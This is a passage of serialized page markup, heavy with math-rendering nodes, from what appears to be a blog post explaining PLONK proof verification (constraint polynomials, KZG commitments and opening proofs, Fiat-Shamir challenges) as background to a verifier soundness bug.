props":143100,"children":143102},{"className":143101},[21731],[143103],{"type":28,"value":21734},{"type":23,"tag":41,"props":143105,"children":143107},{"className":143106},[4038],[143108],{"type":23,"tag":41,"props":143109,"children":143111},{"className":143110,"style":92848},[4043],[143112],{"type":23,"tag":41,"props":143113,"children":143114},{},[],{"type":23,"tag":41,"props":143116,"children":143118},{"className":143117},[21703],[143119],{"type":28,"value":1737},{"type":23,"tag":41,"props":143121,"children":143123},{"className":143122},[4012,21574],[143124],{"type":28,"value":19263},{"type":23,"tag":41,"props":143126,"children":143128},{"className":143127},[21725],[143129],{"type":28,"value":2678},{"type":28,"value":143131}," at the ",{"type":23,"tag":37,"props":143133,"children":143135},{"className":143134},[3984,3985],[143136],{"type":23,"tag":41,"props":143137,"children":143139},{"className":143138},[3990],[143140],{"type":23,"tag":41,"props":143141,"children":143143},{"className":143142,"ariaHidden":3996},[3995],[143144],{"type":23,"tag":41,"props":143145,"children":143147},{"className":143146},[4001],[143148,143152],{"type":23,"tag":41,"props":143149,"children":143151},{"className":143150,"style":142016},[4006],[],{"type":23,"tag":41,"props":143153,"children":143155},{"className":143154},[4012,21574],[143156],{"type":28,"value":3737},{"type":28,"value":143158},"-th root recovers the left wire value at row ",{"type":23,"tag":37,"props":143160,"children":143162},{"className":143161},[3984,3985],[143163],{"type":23,"tag":41,"props":143164,"children":143166},{"className":143165},[3990],[143167],{"type":23,"tag":41,"props":143168,"children":143170},{"className":143169,"ariaHidden":3996},[3995],[143171],{"type":23,"tag":41,"props":143172,"children":143174},{"className":143173},[4001],[143175,143179],{"type":23,"tag":41,"props":143176,"children":143178},{"className":143177,"style":142016},[4006],[],{"type":23,"tag":41,"props":143180,"children":143182},{"className":143181},[4012,21574],[143183],{"type":28,"value":3737},{"type":28,"value":706},{"type":23,"tag":143186,"props":143187,"children":143188},"polynomial-interpolation-panel",{},[],{"type":23,"tag":24,"props":143190,"children":143191},{},[143192,143194,143234,143236,143302,143304,143434,143436,143476,143478,143518,143520,143560,143561,143683],{"type":28,"value":143193},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":23,"tag":37,"props":143195,"children":143197},{"className":143196},[3984,3985],[143198],{"type":23,"tag":41,"props":143199,"children":143201},{"className":143200},[3990],[143202],{"type":23,"tag":41,"props":143203,"children":143205},{"className":143204,"ariaHidden":3996},[3995],[143206],{"type":23,"tag":41,"props":143207,"children":143209},{"className":143208},[4001],[143210,143214,143219,143224,143229],{"type":23,"tag":41,"props":143211,"children":143213},{"className":143212,"style":4113},[4006],[],{"type":23,"tag":41,"props":143215,"children":143217},{"className":143216,"style":21575},[4012,21574],[143218],{"type":28,"value":121543},{"type":23,"tag":41,"props":143220,"children":143222},{"className":143221},[21703],[143223],{"type":28,"value":1737},{"type":23,"tag":41,"props":143225,"children":143227},{"className":143226},[4012,21574],[143228],{"type":28,"value":19263},{"type":23,"tag":41,"props":143230,"children":143232},{"className":143231},[21725],[143233],{"type":28,"value":2678},{"type":28,"value":143235}," that combines selectors and witnesses. If the prover was honest, ",{"type":23,"tag":37,"props":143237,"children":143239},{"className":143238},[3984,3985],[143240],{"type":23,"tag":41,"props":143241,"children":143243},{"className":143242},[3990],[143244],{"type":23,"tag":41,"props":143245,"children":143247},{"className":143246,"ariaHidden":3996},[3995],[143248,143289],{"type":23,"tag":41,"props":143249,"children":143251},{"className":143250},[4001],[143252,143256,143261,143266,143271,143276,143280,143285],{"type":23,"tag":41,"props":143253,"children":143255},{"className":143254,"style":4113},[4006],[],{"type":23,"tag":41,"props":143257,"children":143259},{"className":143258,"style":21575},[4012,21574],[143260],{"type":28,"value":121543},{"type":23,"tag":41,"props":143262,"children":143264},{"className":143263},[21703],[143265],{"type":28,"value":1737},{"type":23,"tag":41,"props":143267,"children":143269},{"className":143268},[4012,21574],[143270],{"type":28,"value":19263},{"type":23,"tag":41,"props":143272,"children":143274},{"className":143273},[21725],[143275],{"type":28,"value":2678},{"type":23,"tag":41,"props":143277,"children":143279},{"className":143278,"style":4190},[4092],[],{"type":23,"tag":41,"props":143281,"children":143283},{"className":143282},[4195],[143284],{"type":28,"value":2381},{"type":23,"tag":41,"props":143286,"children":143288},{"className":143287,"style":4190},[4092],[],{"type":23,"tag":41,"props":143290,"children":143292},{"className":143291},[4001],[143293,143297],{"type":23,"tag":41,"props":143294,"children":143296},{"className":143295,"style":93796},[4006],[],{"type":23,"tag":41,"props":143298,"children":143300},{"className":143299},[4012],[143301],{"type":28,"value":4024},{"type":28,"value":143303}," at every row index in the domain. The vanishing polynomial ",{"type":23,"tag":37,"props":143305,"children":143307},{"className":143306},[3984,3985],[143308],{"type":23,"tag":41,"props":143309,"children":143311},{"className":143310},[3990],[143312],{"type":23,"tag":41,"props":143313,"children":143315},{"className":143314,"ariaHidden":3996},[3995],[143316,143358,143421],{"type":23,"tag":41,"props":143317,"children":143319},{"className":143318},[4001],[143320,143324,143330,143335,143340,143345,143349,143354],{"type":23,"tag":41,"props":143321,"children":143323},{"className":143322,"style":4113},[4006],[],{"type":23,"tag":41,"props":143325,"children":143327},{"className":143326,"style":22106},[4012,21574],[143328],{"type":28,"value":143329},"Z",{"type":23,"tag":41,"props":143331,"children":143333},{"className":143332},[21703],[143334],{"type":28,"value":1737},{"type":23,"tag":41,"props":143336,"children":143338},{"className":143337},[4012,21574],[143339],{"type":28,"value":19263},{"type":23,"tag":41,"props":143341,"children":143343},{"className":143342},[21725],[143344],{"type":28,"value":2678},{"type":23,"tag":41,"props":143346,"children":143348},{"className":143347,"style":4190},[4092],[],{"type":23,"tag":41,"props":143350,"children":143352},{"className":143351},[4195],[143353],{"type":28,"value":2381},{"type":23,"tag":41,"props":143355,"children":143357},{"className":143356,"style":4190},[4092],[],{"type":23,"tag":41,"props":143359,"children":143361},{"className":143360},[4001],[143362,143367,143408,143412,143417],{"type":23,"tag":41,"props":143363,"children":143366},{"className":143364,"style":143365},[4006],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":23,"tag":41,"props":143368,"children":143370},{"className":143369},[4012],[143371,143376],{"type":23,"tag":41,"props":143372,"children":143374},{"className":143373},[4012,21574],[143375],{"type":28,"value":19263},{"type":23,"tag":41,"props":143377,"children":143379},{"className":143378},[4028],[143380],{"type":23,"tag":41,"props":143381,"children":143383},{"className":143382},[4033],[143384],{"type":23,"tag":41,"props":143385,"children":143387},{"className":143386},[4038],[143388],{"type":23,"tag":41,"props":143389,"children":143391},{"className":143390,"style":108482},[4043],[143392],{"type":23,"tag":41,"props":143393,"children":143394},{"style":4047},[143395,143399],{"type":23,"tag":41,"props":143396,"children":143398},{"className":143397,"style":4053},[4052],[],{"type":23,"tag":41,"props":143400,"children":143402},{"className":143401},[4058,4059,4060,4061],[143403],{"type":23,"tag":41,"props":143404,"children":143406},{"className":143405},[4012,21574,4061],[143407],{"type":28,"value":56399},{"type":23,"tag":41,"props":143409,"children":143411},{"className":143410,"style":4093},[4092],[],{"type":23,"tag":41,"props":143413,"children":143415},{"className":143414},[4098],[143416],{"type":28,"value":4072},{"type":23,"tag":41,"props":143418,"children":143420},{"className":143419,"style":4093},[4092],[],{"type":23,"tag":41,"props":143422,"children":143424},{"className":143423},[4001],[143425,143429],{"type":23,"tag":41,"props":143426,"children":143428},{"className":143427,"style":93796},[4006],[],{"type":23,"tag":41,"props":143430,"children":143432},{"className":143431},[4012],[143433],{"type":28,"value":317},{"type":28,"value":143435}," is zero on exactly those points, so if all constraints hold then ",{"type":23,"tag":37,"props":143437,"children":143439},{"className":143438},[3984,3985],[143440],{"type":23,"tag":41,"props":143441,"children":143443},{"className":143442},[3990],[143444],{"type":23,"tag":41,"props":143445,"children":143447},{"className":143446,"ariaHidden":3996},[3995],[143448],{"type":23,"tag":41,"props":143449,"children":143451},{"className":143450},[4001],[143452,143456,143461,143466,143471],{"type":23,"tag":41,"props":143453,"children":143455},{"className":143454,"style":4113},[4006],[],{"type":23,"tag":41,"props":143457,"children":143459},{"className":143458,"style":22106},[4012,21574],[143460],{"type":28,"value":143329},{"type":23,"tag":41,"props":143462,"children":143464},{"className":143463},[21703],[143465],{"type":28,"value":1737},{"type":23,"tag":41,"props":143467,"children":143469},{"className":143468},[4012,21574],[143470],{"type":28,"value":19263},{"type":23,"tag":41,"props":143472,"children":143474},{"className":143473},[21725],[143475],{"type":28,"value":2678},{"type":28,"value":143477}," divides ",{"type":23,"tag":37,"props":143479,"children":143481},{"className":143480},[3984,3985],[143482],{"type":23,"tag":41,"props":143483,"children":143485},{"className":143484},[3990],[143486],{"type":23,"tag":41,"props":143487,"children":143489},{"className":143488,"ariaHidden":3996},[3995],[143490],{"type":23,"tag":41,"props":143491,"children":143493},{"className":143492},[4001],[143494,143498,143503,143508,143513],{"type":23,"tag":41,"props":143495,"children":143497},{"className":143496,"style":4113},[4006],[],{"type":23,"tag":41,"props":143499,"children":143501},{"className":143500,"style":21575},[4012,21574],[143502],{"type":28,"value":121543},{"type":23,"tag":41,"props":143504,"children":143506},{"className":143505},[21703],[143507],{"type":28,"value":1737},{"type":23,"tag":41,"props":143509,"children":143511},{"className":143510},[4012,21574],[143512],{"type":28,"value":19263},{"type":23,"tag":41,"props":143514,"children":143516},{"className":143515},[21725],[143517],{"type":28,"value":2678},{"type":28,"value":143519},", yielding a quotient polynomial ",{"type":23,"tag":37,"props":143521,"children":143523},{"className":143522},[3984,3985],[143524],{"type":23,"tag":41,"props":143525,"children":143527},{"className":143526},[3990],[143528],{"type":23,"tag":41,"props":143529,"children":143531},{"className":143530,"ariaHidden":3996},[3995],[143532],{"type":23,"tag":41,"props":143533,"children":143535},{"className":143534},[4001],[143536,143540,143545,143550,143555],{"type":23,"tag":41,"props":143537,"children":143539},{"className":143538,"style":4113},[4006],[],{"type":23,"tag":41,"props":143541,"children":143543},{"className":143542,"style":21575},[4012,21574],[143544],{"type":28,"value":1634},{"type":23,"tag":41,"props":143546,"children":143548},{"className":143547},[21703],[143549],{"type":28,"value":1737},{"type":23,"tag":41,"props":143551,"children":143553},{"className":143552},[4012,21574],[143554],{"type":28,"value":19263},{"type":23,"tag":41,"props":143556,"children":143558},{"className":143557},[21725],[143559],{"type":28,"value":2678},{"type":28,"value":2032},{"type":23,"tag":37,"props":143562,"children":143564},{"className":143563},[3984,3985],[143565],{"type":23,"tag":41,"props":143566,"children":143568},{"className":143567},[3990],[143569],{"type":23,"tag":41,"props":143570,"children":143572},{"className":143571,"ariaHidden":3996},[3995],[143573,143614,143655],{"type":23,"tag":41,"props":143574,"children":143576},{"className":143575},[4001],[143577,143581,143586,143591,143596,143601,143605,143610],{"type":23,"tag":41,"props":143578,"children":143580},{"className":143579,"style":4113},[4006],[],{"type":23,"tag":41,"props":143582,"children":143584},{"className":143583,"style":21575},[4012,21574],[143585],{"type":28,"value":121543},{"type":23,"tag":41,"props":143587,"children":143589},{"className":143588},[21703],[143590],{"type":28,"value":1737},{"type":23,"tag":41,"props":143592,"children":143594},{"className":143593},[4012,21574],[143595],{"type":28,"value":19263},{"type":23,"tag":41,"props":143597,"children":143599},{"className":143598},[21725],[143600],{"type":28,"value":2678},{"type":23,"tag":41,"props":143602,"children":143604},{"className":143603,"style":4190},[4092],[],{"type":23,"tag":41,"props":143606,"children":143608},{"className":143607},[4195],[143609],{"type":28,"value":2381},{"type":23,"tag":41,"props":143611,"children":143613},{"className":143612,"style":4190},[4092],[],{"type":23,"tag":41,"props":143615,"children":143617},{"className":143616},[4001],[143618,143622,143627,143632,143637,143642,143646,143651],{"type":23,"tag":41,"props":143619,"children":143621},{"className":143620,"style":4113},[4006],[],{"type":23,"tag":41,"props":143623,"children":143625},{"className":143624,"style":21575},[4012,21574],[143626],{"type":28,"value":1634},{"type":23,"tag":41,"props":143628,"children":143630},{"className":143629},[21703],[143631],{"type":28,"value":1737},{"type":23,"tag":41,"props":143633,"children":143635},{"className":143634},[4012,21574],[143636],{"type":28,"value":19263},{"type":23,"tag":41,"props":143638,"children":143640},{"className":143639},[21725],[143641],{"type":28,"value":2678},{"type":23,"tag":41,"props":143643,"children":143645},{"className":143644,"style":4093},[4092],[],{"type":23,"tag":41,"props":143647,"children":143649},{"className":143648},[4098],[143650],{"type":28,"value":111027},{"type":23,"tag":41,"props":143652,"children":143654},{"className":143653,"style":4093},[4092],[],{"type":23,"tag":41,"props":143656,"children":143658},{"className":143657},[4001],[143659,143663,143668,143673,143678],{"type":23,"tag":41,"props":143660,"children":143662},{"className":143661,"style":4113},[4006],[],{"type":23,"tag":41,"props":143664,"children":143666},{"className":143665,"style":22106},[4012,21574],[143667],{"type":28,"value":143329},{"type":23,"tag":41,"props":143669,"children":143671},{"className":143670},[21703],[143672],{"type":28,"value":1737},{"type":23,"tag":41,"props":143674,"children":143676},{"className":143675},[4012,21574],[143677],{"type":28,"value":19263},{"type":23,"tag":41,"props":143679,"children":143681},{"className":143680},[21725],[143682],{"type":28,"value":2678},{"type":28,"value":706},{"type":23,"tag":24,"props":143685,"children":143686},{},[143687],{"type":23,"tag":3918,"props":143688,"children":143691},{"alt":143689,"src":143690},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":23,"tag":546,"props":143693,"children":143695},{"id":143694},"polynomial-commitments-and-opening-proofs",[143696],{"type":28,"value":143697},"Polynomial commitments and opening proofs",{"type":23,"tag":24,"props":143699,"children":143700},{},[143701,143703,143708,143710,143715],{"type":28,"value":143702},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":23,"tag":2913,"props":143704,"children":143705},{},[143706],{"type":28,"value":143707},"commitments",{"type":28,"value":143709},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":23,"tag":2913,"props":143711,"children":143712},{},[143713],{"type":28,"value":143714},"opening proof",{"type":28,"value":143716}," that the claimed value is consistent with the earlier commitment.",{"type":23,"tag":24,"props":143718,"children":143719},{},[143720],{"type":28,"value":143721},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":23,"tag":546,"props":143723,"children":143725},{"id":143724},"reducing-to-a-single-random-point",[143726],{"type":28,"value":143727},"Reducing to a single random point",{"type":23,"tag":24,"props":143729,"children":143730},{},[143731,143733,143773,143775,143800,143802,143924,143926,143951],{"type":28,"value":143732},"After the prover commits to all polynomials, including ",{"type":23,"tag":37,"props":143734,"children":143736},{"className":143735},[3984,3985],[143737],{"type":23,"tag":41,"props":143738,"children":143740},{"className":143739},[3990],[143741],{"type":23,"tag":41,"props":143742,"children":143744},{"className":143743,"ariaHidden":3996},[3995],[143745],{"type":23,"tag":41,"props":143746,"children":143748},{"className":143747},[4001],[143749,143753,143758,143763,143768],{"type":23,"tag":41,"props":143750,"children":143752},{"className":143751,"style":4113},[4006],[],{"type":23,"tag":41,"props":143754,"children":143756},{"className":143755,"style":21575},[4012,21574],[143757],{"type":28,"value":1634},{"type":23,"tag":41,"props":143759,"children":143761},{"className":143760},[21703],[143762],{"type":28,"value":1737},{"type":23,"tag":41,"props":143764,"children":143766},{"className":143765},[4012,21574],[143767],{"type":28,"value":19263},{"type":23,"tag":41,"props":143769,"children":143771},{"className":143770},[21725],[143772],{"type":28,"value":2678},{"type":28,"value":143774},", the verifier picks a random challenge point ",{"type":23,"tag":37,"props":143776,"children":143778},{"className":143777},[3984,3985],[143779],{"type":23,"tag":41,"props":143780,"children":143782},{"className":143781},[3990],[143783],{"type":23,"tag":41,"props":143784,"children":143786},{"className":143785,"ariaHidden":3996},[3995],[143787],{"type":23,"tag":41,"props":143788,"children":143790},{"className":143789},[4001],[143791,143795],{"type":23,"tag":41,"props":143792,"children":143794},{"className":143793,"style":110606},[4006],[],{"type":23,"tag":41,"props":143796,"children":143798},{"className":143797,"style":113322},[4012,21574],[143799],{"type":28,"value":113325},{"type":28,"value":143801}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":23,"tag":37,"props":143803,"children":143805},{"className":143804},[3984,3985],[143806],{"type":23,"tag":41,"props":143807,"children":143809},{"className":143808},[3990],[143810],{"type":23,"tag":41,"props":143811,"children":143813},{"className":143812,"ariaHidden":3996},[3995],[143814,143855,143896],{"type":23,"tag":41,"props":143815,"children":143817},{"className":143816},[4001],[143818,143822,143827,143832,143837,143842,143846,143851],{"type":23,"tag":41,"props":143819,"children":143821},{"className":143820,"style":4113},[4006],[],{"type":23,"tag":41,"props":143823,"children":143825},{"className":143824,"style":21575},[4012,21574],[143826],{"type":28,"value":121543},{"type":23,"tag":41,"props":143828,"children":143830},{"className":143829},[21703],[143831],{"type":28,"value":1737},{"type":23,"tag":41,"props":143833,"children":143835},{"className":143834,"style":113322},[4012,21574],[143836],{"type":28,"value":113325},{"type":23,"tag":41,"props":143838,"children":143840},{"className":143839},[21725],[143841],{"type":28,"value":2678},{"type":23,"tag":41,"props":143843,"children":143845},{"className":143844,"style":4190},[4092],[],{"type":23,"tag":41,"props":143847,"children":143849},{"className":143848},[4195],[143850],{"type":28,"value":2381},{"type":23,"tag":41,"props":143852,"children":143854},{"className":143853,"style":4190},[4092],[],{"type":23,"tag":41,"props":143856,"children":143858},{"className":143857},[4001],[143859,143863,143868,143873,143878,143883,143887,143892],{"type":23,"tag":41,"props":143860,"children":143862},{"className":143861,"style":4113},[4006],[],{"type":23,"tag":41,"props":143864,"children":143866},{"className":143865,"style":21575},[4012,21574],[143867],{"type":28,"value":1634},{"type":23,"tag":41,"props":143869,"children":143871},{"className":143870},[21703],[143872],{"type":28,"value":1737},{"type":23,"tag":41,"props":143874,"children":143876},{"className":143875,"style":113322},[4012,21574],[143877],{"type":28,"value":113325},{"type":23,"tag":41,"props":143879,"children":143881},{"className":143880},[21725],[143882],{"type":28,"value":2678},{"type":23,"tag":41,"props":143884,"children":143886},{"className":143885,"style":4093},[4092],[],{"type":23,"tag":41,"props":143888,"children":143890},{"className":143889},[4098],[143891],{"type":28,"value":111027},{"type":23,"tag":41,"props":143893,"children":143895},{"className":143894,"style":4093},[4092],[],{"type":23,"tag":41,"props":143897,"children":143899},{"className":143898},[4001],[143900,143904,143909,143914,143919],{"type":23,"tag":41,"props":143901,"children":143903},{"className":143902,"style":4113},[4006],[],{"type":23,"tag":41,"props":143905,"children":143907},{"className":143906,"style":22106},[4012,21574],[143908],{"type":28,"value":143329},{"type":23,"tag":41,"props":143910,"children":143912},{"className":143911},[21703],[143913],{"type":28,"value":1737},{"type":23,"tag":41,"props":143915,"children":143917},{"className":143916,"style":113322},[4012,21574],[143918],{"type":28,"value":113325},{"type":23,"tag":41,"props":143920,"children":143922},{"className":143921},[21725],[143923],{"type":28,"value":2678},{"type":28,"value":143925}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":23,"tag":37,"props":143927,"children":143929},{"className":143928},[3984,3985],[143930],{"type":23,"tag":41,"props":143931,"children":143933},{"className":143932},[3990],[143934],{"type":23,"tag":41,"props":143935,"children":143937},{"className":143936,"ariaHidden":3996},[3995],[143938],{"type":23,"tag":41,"props":143939,"children":143941},{"className":143940},[4001],[143942,143946],{"type":23,"tag":41,"props":143943,"children":143945},{"className":143944,"style":110606},[4006],[],{"type":23,"tag":41,"props":143947,"children":143949},{"className":143948,"style":113322},[4012,21574],[143950],{"type":28,"value":113325},{"type":28,"value":143952}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":23,"tag":24,"props":143954,"children":143955},{},[143956,143958,143983,143985,143990],{"type":28,"value":143957},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":23,"tag":37,"props":143959,"children":143961},{"className":143960},[3984,3985],[143962],{"type":23,"tag":41,"props":143963,"children":143965},{"className":143964},[3990],[143966],{"type":23,"tag":41,"props":143967,"children":143969},{"className":143968,"ariaHidden":3996},[3995],[143970],{"type":23,"tag":41,"props":143971,"children":143973},{"className":143972},[4001],[143974,143978],{"type":23,"tag":41,"props":143975,"children":143977},{"className":143976,"style":110606},[4006],[],{"type":23,"tag":41,"props":143979,"children":143981},{"className":143980,"style":113322},[4012,21574],[143982],{"type":28,"value":113325},{"type":28,"value":143984},", the prover supplies ",{"type":23,"tag":2913,"props":143986,"children":143987},{},[143988],{"type":28,"value":143989},"evaluation claims",{"type":28,"value":143991}," that must be checked against those commitments with opening proofs.",{"type":23,"tag":24,"props":143993,"children":143994},{},[143995,143997,144001],{"type":28,"value":143996},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":23,"tag":2913,"props":143998,"children":143999},{},[144000],{"type":28,"value":104309},{"type":28,"value":144002}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":23,"tag":546,"props":144004,"children":144006},{"id":144005},"what-the-verifier-is-actually-allowed-to-trust",[144007],{"type":28,"value":144008},"What the verifier is actually allowed to trust",{"type":23,"tag":24,"props":144010,"children":144011},{},[144012,144014,144019],{"type":28,"value":144013},"For this bug, one invariant matters more than the rest: ",{"type":23,"tag":510,"props":144015,"children":144016},{},[144017],{"type":28,"value":144018},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":28,"value":706},{"type":23,"tag":24,"props":144021,"children":144022},{},[144023,144025,144117,144118,144210,144212,144237,144239,144279,144280,144320,144321,144414,144415,144461,144463,144550,144551,144638,144639,144726],{"type":28,"value":144024},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":23,"tag":37,"props":144026,"children":144028},{"className":144027},[3984,3985],[144029],{"type":23,"tag":41,"props":144030,"children":144032},{"className":144031},[3990],[144033],{"type":23,"tag":41,"props":144034,"children":144036},{"className":144035,"ariaHidden":3996},[3995],[144037],{"type":23,"tag":41,"props":144038,"children":144040},{"className":144039},[4001],[144041,144045,144102,144107,144112],{"type":23,"tag":41,"props":144042,"children":144044},{"className":144043,"style":4113},[4006],[],{"type":23,"tag":41,"props":144046,"children":144048},{"className":144047},[4012],[144049,144054],{"type":23,"tag":41,"props":144050,"children":144052},{"className":144051,"style":22106},[4012,21574],[144053],{"type":28,"value":143329},{"type":23,"tag":41,"props":144055,"children":144057},{"className":144056},[4028],[144058],{"type":23,"tag":41,"props":144059,"children":144061},{"className":144060},[4033,21628],[144062,144091],{"type":23,"tag":41,"props":144063,"children":144065},{"className":144064},[4038],[144066,144086],{"type":23,"tag":41,"props":144067,"children":144069},{"className":144068,"style":142320},[4043],[144070],{"type":23,"tag":41,"props":144071,"children":144072},{"style":116014},[144073,144077],{"type":23,"tag":41,"props":144074,"children":144076},{"className":144075,"style":4053},[4052],[],{"type":23,"tag":41,"props":144078,"children":144080},{"className":144079},[4058,4059,4060,4061],[144081],{"type":23,"tag":41,"props":144082,"children":144084},{"className":144083,"style":92999},[4012,21574,4061],[144085],{"type":28,"value":93002},{"type":23,"tag":41,"props":144087,"children":144089},{"className":144088},[21731],[144090],{"type":28,"value":21734},{"type":23,"tag":41,"props":144092,"children":144094},{"className":144093},[4038],[144095],{"type":23,"tag":41,"props":144096,"children":144098},{"className":144097,"style":92848},[4043],[144099],{"type":23,"tag":41,"props":144100,"children":144101},{},[],{"type":23,"tag":41,"props":144103,"children":144105},{"className":144104},[21703],[144106],{"type":28,"value":1737},{"type":23,"tag":41,"props":144108,"children":144110},{"className":144109,"style":113322},[4012,21574],[144111],{"type":28,"value":113325},{"type":23,"tag":41,"props":144113,"children":144115},{"className":144114},[21725],[144116],{"type":28,"value":2678},{"type":28,"value":970},{"type":23,"tag":37,"props":144119,"children":144121},{"className":144120},[3984,3985],[144122],{"type":23,"tag":41,"props":144123,"children":144125},{"className":144124},[3990],[144126],{"type":23,"tag":41,"props":144127,"children":144129},{"className":144128,"ariaHidden":3996},[3995],[144130],{"type":23,"tag":41,"props":144131,"children":144133},{"className":144132},[4001],[144134,144138,144195,144200,144205],{"type":23,"tag":41,"props":144135,"children":144137},{"className":144136,"style":4113},[4006],[],{"type":23,"tag":41,"props":144139,"children":144141},{"className":144140},[4012],[144142,144147],{"type":23,"tag":41,"props":144143,"children":144145},{"className":144144},[4012,21574],[144146],{"type":28,"value":117729},{"type":23,"tag":41,"props":144148,"children":144150},{"className":144149},[4028],[144151],{"type":23,"tag":41,"props":144152,"children":144154},{"className":144153},[4033,21628],[144155,144184],{"type":23,"tag":41,"props":144156,"children":144158},{"className":144157},[4038],[144159,144179],{"type":23,"tag":41,"props":144160,"children":144162},{"className":144161,"style":92817},[4043],[144163],{"type":23,"tag":41,"props":144164,"children":144165},{"style":92821},[144166,144170],{"type":23,"tag":41,"props":144167,"children":144169},{"className":144168,"style":4053},[4052],[],{"type":23,"tag":41,"props":144171,"children":144173},{"className":144172},[4058,4059,4060,4061],[144174],{"type":23,"tag":41,"props":144175,"children":144177},{"className":144176},[4012,4061],[144178],{"type":28,"value":317},{"type":23,"tag":41,"props":144180,"children":144182},{"className":144181},[21731],[144183],{"type":28,"value":21734},{"type":23,"tag":41,"props":144185,"children":144187},{"className":144186},[4038],[144188],{"type":23,"tag":41,"props":144189,"children":144191},{"className":144190,"style":92848},[4043],[144192],{"type":23,"tag":41,"props":144193,"children":144194},{},[],{"type":23,"tag":41,"props":144196,"children":144198},{"className":144197},[21703],[144199],{"type":28,"value":1737},{"type":23,"tag":41,"props":144201,"children":144203},{"className":144202,"style":113322},[4012,21574],[144204],{"type":28,"value":113325},{"type":23,"tag":41,"props":144206,"children":144208},{"className":144207},[21725],[144209],{"type":28,"value":2678},{"type":28,"value":144211},", the public-input polynomial at ",{"type":23,"tag":37,"props":144213,"children":144215},{"className":144214},[3984,3985],[144216],{"type":23,"tag":41,"props":144217,"children":144219},{"className":144218},[3990],[144220],{"type":23,"tag":41,"props":144221,"children":144223},{"className":144222,"ariaHidden":3996},[3995],[144224],{"type":23,"tag":41,"props":144225,"children":144227},{"className":144226},[4001],[144228,144232],{"type":23,"tag":41,"props":144229,"children":144231},{"className":144230,"style":110606},[4006],[],{"type":23,"tag":41,"props":144233,"children":144235},{"className":144234,"style":113322},[4012,21574],[144236],{"type":28,"value":113325},{"type":28,"value":144238},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":23,"tag":37,"props":144240,"children":144242},{"className":144241},[3984,3985],[144243],{"type":23,"tag":41,"props":144244,"children":144246},{"className":144245},[3990],[144247],{"type":23,"tag":41,"props":144248,"children":144250},{"className":144249,"ariaHidden":3996},[3995],[144251],{"type":23,"tag":41,"props":144252,"children":144254},{"className":144253},[4001],[144255,144259,144264,144269,144274],{"type":23,"tag":41,"props":144256,"children":144258},{"className":144257,"style":4113},[4006],[],{"type":23,"tag":41,"props":144260,"children":144262},{"className":144261},[4012,21574],[144263],{"type":28,"value":458},{"type":23,"tag":41,"props":144265,"children":144267},{"className":144266},[21703],[144268],{"type":28,"value":1737},{"type":23,"tag":41,"props":144270,"children":144272},{"className":144271,"style":113322},[4012,21574],[144273],{"type":28,"value":113325},{"type":23,"tag":41,"props":144275,"children":144277},{"className":144276},[21725],[144278],{"type":28,"value":2678},{"type":28,"value":970},{"type":23,"tag":37,"props":144281,"children":144283},{"className":144282},[3984,3985],[144284],{"type":23,"tag":41,"props":144285,"children":144287},{"className":144286},[3990],[144288],{"type":23,"tag":41,"props":144289,"children":144291},{"className":144290,"ariaHidden":3996},[3995],[144292],{"type":23,"tag":41,"props":144293,"children":144295},{"className":144294},[4001],[144296,144300,144305,144310,144315],{"type":23,"tag":41,"props":144297,"children":144299},{"className":144298,"style":4113},[4006],[],{"type":23,"tag":41,"props":144301,"children":144303},{"className":144302},[4012,21574],[144304],{"type":28,"value":3222},{"type":23,"tag":41,"props":144306,"children":144308},{"className":144307},[21703],[144309],{"type":28,"value":1737},{"type":23,"tag":41,"props":144311,"children":144313},{"className":144312,"style":113322},[4012,21574],[144314],{"type":28,"value":113325},{"type":23,"tag":41,"props":144316,"children":144318},{"className":144317},[21725],[144319],{"type":28,"value":2678},{"type":28,"value":970},{"type":23,"tag":37,"props":144322,"children":144324},{"className":144323},[3984,3985],[144325],{"type":23,"tag":41,"props":144326,"children":144328},{"className":144327},[3990],[144329],{"type":23,"tag":41,"props":144330,"children":144332},{"className":144331,"ariaHidden":3996},[3995],[144333],{"type":23,"tag":41,"props":144334,"children":144336},{"className":144335},[4001],[144337,144341,144399,144404,144409],{"type":23,"tag":41,"props":144338,"children":144340},{"className":144339,"style":4113},[4006],[],{"type":23,"tag":41,"props":144342,"children":144344},{"className":144343},[4012],[144345,144351],{"type":23,"tag":41,"props":144346,"children":144348},{"className":144347,"style":93251},[4012,21574],[144349],{"type":28,"value":144350},"σ",{"type":23,"tag":41,"props":144352,"children":144354},{"className":144353},[4028],[144355],{"type":23,"tag":41,"props":144356,"children":144358},{"className":144357},[4033,21628],[144359,144388],{"type":23,"tag":41,"props":144360,"children":144362},{"className":144361},[4038],[144363,144383],{"type":23,"tag":41,"props":144364,"children":144366},{"className":144365,"style":92817},[4043],[144367],{"type":23,"tag":41,"props":144368,"children":144369},{"style":93298},[144370,144374],{"type":23,"tag":41,"props":144371,"children":144373},{"className":144372,"style":4053},[4052],[],{"type":23,"tag":41,"props":144375,"children":144377},{"className":144376},[4058,4059,4060,4061],[144378],{"type":23,"tag":41,"props":144379,"children":144381},{"className":144380},[4012,4061],[144382],{"type":28,"value":317},{"type":23,"tag":41,"props":144384,"children":144386},{"className":144385},[21731],[144387],{"type":28,"value":21734},{"type":23,"tag":41,"props":144389,"children":144391},{"className":144390},[4038],[144392],{"type":23,"tag":41,"props":144393,"children":144395},{"className":144394,"style":92848},[4043],[144396],{"type":23,"tag":41,"props":144397,"children":144398},{},[],{"type":23,"tag":41,"props":144400,"ch